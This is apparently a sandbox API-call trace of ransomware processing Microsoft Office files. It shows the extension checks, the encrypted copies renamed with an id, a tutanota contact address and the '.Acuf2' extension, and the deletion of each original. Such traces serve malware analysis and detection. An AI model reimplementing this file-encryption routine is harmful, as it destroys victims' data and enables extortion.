	[0263.551] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1
	[0263.551] lstrlenW (lpString=".xlsx") returned 5
	[0263.551] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1
	[0263.551] lstrlenW (lpString=".ppt") returned 4
	[0263.551] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1
	[0263.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59
	[0263.551] lstrlenW (lpString=".zip") returned 4
	[0263.551] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1
	[0263.551] lstrlenW (lpString=".rar") returned 4
	[0263.552] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1
	[0263.552] lstrlenW (lpString=".bz2") returned 4
	[0263.552] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1
	[0263.552] lstrlenW (lpString=".7z") returned 3
	[0263.552] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59
	[0263.552] lstrlenW (lpString=".dbf") returned 4
	[0263.552] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1
	[0263.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59
	[0263.552] lstrlenW (lpString=".1cd") returned 4
	[0263.552] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1
	[0263.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59
	[0263.552] lstrlenW (lpString=".jpg") returned 4
	[0263.552] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1
	[0263.554] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.554] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0263.554] GetLastError () returned 0x0
	[0263.554] ReadFile (in: hFile=0x330, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x6180, lpOverlapped=0x0) returned 1
	[0263.842] WriteFile (in: hFile=0x34c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x6190, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x6190, lpOverlapped=0x0) returned 1
	[0263.844] ReadFile (in: hFile=0x330, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.844] WriteFile (in: hFile=0x34c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0263.844] SetEndOfFile (hFile=0x34c) returned 1
	[0263.844] CloseHandle (hObject=0x34c) returned 1
	[0263.844] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.844] SetEndOfFile (hFile=0x330) returned 1
	[0263.847] CloseHandle (hObject=0x330) returned 1
	[0263.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.idx_dll")) returned 1
	[0263.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67
	[0263.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67
	[0263.855] lstrlenW (lpString=".doc") returned 4
	[0263.855] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0263.855] lstrlenW (lpString=".docx") returned 5
	[0263.855] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0263.855] lstrlenW (lpString=".pdf") returned 4
	[0263.855] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0263.855] lstrlenW (lpString=".xls") returned 4
	[0263.855] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0263.855] lstrlenW (lpString=".xlsx") returned 5
	[0263.855] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0263.855] lstrlenW (lpString=".ppt") returned 4
	[0263.855] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0263.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67
	[0263.855] lstrlenW (lpString=".zip") returned 4
	[0263.855] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0263.855] lstrlenW (lpString=".rar") returned 4
	[0263.855] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0263.856] lstrlenW (lpString=".bz2") returned 4
	[0263.856] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0263.856] lstrlenW (lpString=".7z") returned 3
	[0263.856] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0263.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67
	[0263.856] lstrlenW (lpString=".dbf") returned 4
	[0263.856] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0263.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67
	[0263.856] lstrlenW (lpString=".1cd") returned 4
	[0263.856] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0263.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67
	[0263.856] lstrlenW (lpString=".jpg") returned 4
	[0263.856] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0263.859] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=1098) returned 1
	[0263.859] CloseHandle (hObject=0x218) returned 1
	[0263.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd")) returned 0x20
	[0263.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.860] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.860] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0263.860] GetLastError () returned 0x0
	[0263.860] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x44a, lpOverlapped=0x0) returned 1
	[0263.866] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x450, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x450, lpOverlapped=0x0) returned 1
	[0263.867] ReadFile (in: hFile=0x218, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.867] WriteFile (in: hFile=0x32c, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0263.867] SetEndOfFile (hFile=0x32c) returned 1
	[0263.867] CloseHandle (hObject=0x32c) returned 1
	[0263.867] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.867] SetEndOfFile (hFile=0x218) returned 1
	[0263.869] CloseHandle (hObject=0x218) returned 1
	[0263.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd")) returned 1
	[0263.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58
	[0263.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58
	[0263.870] lstrlenW (lpString=".doc") returned 4
	[0263.870] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1
	[0263.870] lstrlenW (lpString=".docx") returned 5
	[0263.870] lstrcmpiW (lpString1=".docx", lpString2="S.VRD") returned -1
	[0263.870] lstrlenW (lpString=".pdf") returned 4
	[0263.870] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1
	[0263.870] lstrlenW (lpString=".xls") returned 4
	[0263.870] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1
	[0263.870] lstrlenW (lpString=".xlsx") returned 5
	[0263.870] lstrcmpiW (lpString1=".xlsx", lpString2="S.VRD") returned -1
	[0263.870] lstrlenW (lpString=".ppt") returned 4
	[0263.870] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1
	[0263.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58
	[0263.870] lstrlenW (lpString=".zip") returned 4
	[0263.870] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1
	[0263.870] lstrlenW (lpString=".rar") returned 4
	[0263.871] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1
	[0263.871] lstrlenW (lpString=".bz2") returned 4
	[0263.871] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1
	[0263.871] lstrlenW (lpString=".7z") returned 3
	[0263.871] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1
	[0263.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58
	[0263.871] lstrlenW (lpString=".dbf") returned 4
	[0263.871] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1
	[0263.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58
	[0263.871] lstrlenW (lpString=".1cd") returned 4
	[0263.871] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1
	[0263.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD") returned 58
	[0263.871] lstrlenW (lpString=".jpg") returned 4
	[0263.871] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1
	[0263.871] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=18320) returned 1
	[0263.871] CloseHandle (hObject=0x218) returned 1
	[0263.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll")) returned 0x20
	[0263.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ospintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0263.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59
	[0263.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59
	[0263.872] lstrlenW (lpString=".doc") returned 4
	[0263.872] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0263.872] lstrlenW (lpString=".docx") returned 5
	[0263.872] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1
	[0263.872] lstrlenW (lpString=".pdf") returned 4
	[0263.872] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0263.872] lstrlenW (lpString=".xls") returned 4
	[0263.872] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0263.872] lstrlenW (lpString=".xlsx") returned 5
	[0263.872] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1
	[0263.872] lstrlenW (lpString=".ppt") returned 4
	[0263.872] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0263.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59
	[0263.872] lstrlenW (lpString=".zip") returned 4
	[0263.872] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0263.872] lstrlenW (lpString=".rar") returned 4
	[0263.872] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0263.872] lstrlenW (lpString=".bz2") returned 4
	[0263.872] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0263.872] lstrlenW (lpString=".7z") returned 3
	[0263.872] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0263.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59
	[0263.872] lstrlenW (lpString=".dbf") returned 4
	[0263.872] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0263.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59
	[0263.872] lstrlenW (lpString=".1cd") returned 4
	[0263.872] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0263.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ospintl.dll") returned 59
	[0263.872] lstrlenW (lpString=".jpg") returned 4
	[0263.873] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0263.922] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.923] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0263.923] GetLastError () returned 0x0
	[0263.923] ReadFile (in: hFile=0x358, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x46f80, lpOverlapped=0x0) returned 1
	[0263.951] WriteFile (in: hFile=0x218, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x46f90, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x46f90, lpOverlapped=0x0) returned 1
	[0263.956] ReadFile (in: hFile=0x358, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.956] WriteFile (in: hFile=0x218, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xfe, lpOverlapped=0x0) returned 1
	[0263.957] SetEndOfFile (hFile=0x218) returned 1
	[0263.957] CloseHandle (hObject=0x218) returned 1
	[0263.957] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.957] SetEndOfFile (hFile=0x358) returned 1
	[0263.965] CloseHandle (hObject=0x358) returned 1
	[0263.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.221] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll")) returned 1
	[0264.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69
	[0264.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69
	[0264.392] lstrlenW (lpString=".doc") returned 4
	[0264.392] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1
	[0264.392] lstrlenW (lpString=".docx") returned 5
	[0264.392] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1
	[0264.392] lstrlenW (lpString=".pdf") returned 4
	[0264.392] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1
	[0264.392] lstrlenW (lpString=".xls") returned 4
	[0264.392] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1
	[0264.392] lstrlenW (lpString=".xlsx") returned 5
	[0264.392] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1
	[0264.392] lstrlenW (lpString=".ppt") returned 4
	[0264.392] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1
	[0264.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69
	[0264.392] lstrlenW (lpString=".zip") returned 4
	[0264.392] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1
	[0264.393] lstrlenW (lpString=".rar") returned 4
	[0264.393] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1
	[0264.393] lstrlenW (lpString=".bz2") returned 4
	[0264.393] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1
	[0264.393] lstrlenW (lpString=".7z") returned 3
	[0264.393] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1
	[0264.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69
	[0264.393] lstrlenW (lpString=".dbf") returned 4
	[0264.393] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1
	[0264.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69
	[0264.393] lstrlenW (lpString=".1cd") returned 4
	[0264.393] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1
	[0264.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69
	[0264.393] lstrlenW (lpString=".jpg") returned 4
	[0264.393] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1
	[0264.407] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.407] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0264.407] GetLastError () returned 0x0
	[0264.407] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x14980, lpOverlapped=0x0) returned 1
	[0264.412] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0x14990, lpOverlapped=0x0) returned 1
	[0264.414] ReadFile (in: hFile=0x2a4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x360fed4*=0x0, lpOverlapped=0x0) returned 1
	[0264.414] WriteFile (in: hFile=0x328, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x360fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x360fc9c*=0xe0, lpOverlapped=0x0) returned 1
	[0264.414] SetEndOfFile (hFile=0x328) returned 1
	[0264.414] CloseHandle (hObject=0x328) returned 1
	[0264.414] SetFilePointerEx (in: hFile=0x2a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec8 | out: lpNewFilePointer=0x0) returned 1
	[0264.414] SetEndOfFile (hFile=0x2a4) returned 1
	[0264.419] CloseHandle (hObject=0x2a4) returned 1
	[0264.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0264.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pe.vsl")) returned 1
	[0264.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54
	[0264.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54
	[0264.419] lstrlenW (lpString=".doc") returned 4
	[0264.419] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0264.419] lstrlenW (lpString=".docx") returned 5
	[0264.419] lstrcmpiW (lpString1=".docx", lpString2="E.VSL") returned -1
	[0264.419] lstrlenW (lpString=".pdf") returned 4
	[0264.419] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0264.419] lstrlenW (lpString=".xls") returned 4
	[0264.419] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0264.420] lstrlenW (lpString=".xlsx") returned 5
	[0264.420] lstrcmpiW (lpString1=".xlsx", lpString2="E.VSL") returned -1
	[0264.420] lstrlenW (lpString=".ppt") returned 4
	[0264.420] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0264.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54
	[0264.420] lstrlenW (lpString=".zip") returned 4
	[0264.420] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0264.420] lstrlenW (lpString=".rar") returned 4
	[0264.420] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0264.420] lstrlenW (lpString=".bz2") returned 4
	[0264.420] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0264.420] lstrlenW (lpString=".7z") returned 3
	[0264.420] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0264.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54
	[0264.420] lstrlenW (lpString=".dbf") returned 4
	[0264.420] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0264.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54
	[0264.420] lstrlenW (lpString=".1cd") returned 4
	[0264.420] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0264.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PE.VSL") returned 54
	[0264.420] lstrlenW (lpString=".jpg") returned 4
	[0264.420] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0264.421] GetFileSizeEx (in: hFile=0x2a4, lpFileSize=0x360ff1c | out: lpFileSize=0x360ff1c*=154496) returned 1
	[0264.421] CloseHandle (hObject=0x2a4) returned 1
	[0264.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll")) returned 0x20
	[0264.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0264.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0264.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59
	[0264.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59
	[0264.421] lstrlenW (lpString=".doc") returned 4
	[0264.421] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1
